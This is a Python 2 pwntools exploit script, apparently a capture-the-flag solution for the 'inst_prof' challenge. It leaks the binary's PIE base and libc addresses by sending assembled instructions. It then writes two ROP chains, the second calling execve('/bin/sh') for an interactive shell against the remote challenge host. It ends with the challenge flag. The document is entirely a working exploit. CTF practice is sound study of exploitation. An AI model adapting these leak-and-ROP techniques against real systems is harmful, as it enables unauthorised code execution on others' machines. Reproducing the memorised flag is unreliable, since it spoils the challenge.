/
solve.py
executable file
·119 lines (97 loc) · 2.69 KB
/
solve.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
#!/usr/bin/env python2
from pwn import *
###
if len(sys.argv) > 1:
DEBUG = False
libc = ELF('libc6_2.19-0ubuntu6.11_amd64.so')
else:
DEBUG = True
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
b = ELF('inst_prof')
context.log_level = 'info'
context.arch = 'amd64'
###
if DEBUG:
r = process('./inst_prof', aslr=False)
else:
r = remote('inst-prof.ctfcompetition.com', 1337)
GDB = False
if GDB and DEBUG:
gdb.attach(r) #, 'b *0x555555554b16')
log.info('sleep timer...')
time.sleep(5)
log.info('sleep timer ended')
r.recv(26)
# first part we leak binary PIE
r.send(asm('pop r14\npush r14'))
p = asm('dec r14\nret') * (0xb18 - 0x8a2)
r.send(p)
r.clean()
r.send(asm('push rsp\npop rsi\npush r14'))
d = r.recv(4096 * 4096)
l = d[len(d) - 6:len(d)] + '\x00\x00'
l = u64(l)
basebinary = l - 0x8a2
log.info('leak: %#x' % l)
log.info('basebinary: %#x' % basebinary)
if DEBUG and GDB:
pause()
# make ROP great again
r.send(asm('push rsp\npop r14\nret'))
r.send(asm('inc r14\nret') * 0x38) # increase rsp to [saved RIP + 8]
r.clean()
RDI = 0x0000000000000bc3 # pop rdi ; ret
RSI = 0x0000000000000bc1 # pop rsi ; pop r15 ; ret
ROP = p64(basebinary + RDI)
ROP += p64(0) # disable alarm
ROP += p64(basebinary + b.plt['alarm'])
ROP += p64(basebinary + RDI)
ROP += p64(1) # fd
ROP += p64(basebinary + RSI)
ROP += p64(basebinary + b.got['write'])
ROP += p64(0)
ROP += p64(basebinary + b.plt['write'])
ROP += p64(basebinary + 0x8C7) # main loop again
for x in ROP:
r.send(asm('movb [r14], %#x' % ord(x)))
r.send(asm('inc r14\nret'))
time.sleep(1) # be sure to receive all data before flushing
r.clean() # flush
# trigger ROP with pop rax ; pop rdx ; push rax ; ret
if DEBUG and GDB:
pause()
r.send(asm('pop rax\npop rdx\npush rax\nret'))
d = ''
while len(d) < 0x10:
d += r.recv(1)
d = d[8:0x10]
l = u64(d)
libcbase = l - libc.symbols['write']
log.info('leak: %#x' % l)
log.info('libcbase: %#x' % libcbase)
# now ROP stage 2
r.send(asm('push rsp\npop r14\nret'))
r.send(asm('inc r14\nret') * 0x38) # increase rsp to [saved RIP + 8]
r.clean()
ROP = p64(basebinary + RDI)
ROP += p64(libcbase + libc.search('/bin/sh').next())
ROP += p64(basebinary + RSI)
ROP += p64(0) # rsi
ROP += p64(0) # r15
ROP += p64(libcbase + libc.search(asm('pop rdx\nret')).next())
ROP += p64(0) # rdx
ROP += p64(libcbase + libc.symbols['execve'])
ROP += p64(basebinary + RDI)
ROP += p64(0)
ROP += p64(libcbase + libc.symbols['_exit']) # don't crash :p
for x in ROP:
r.send(asm('movb [r14], %#x' % ord(x)))
r.send(asm('inc r14\nret'))
# trigger
log.info('trying to get shell in 1 second...')
r.send(asm('pop rax\npop rdx\npush rax\nret'))
time.sleep(1)
r.clean()
r.interactive()
r.close()
# CTF{0v3r_4ND_0v3r_4ND_0v3r_4ND_0v3r}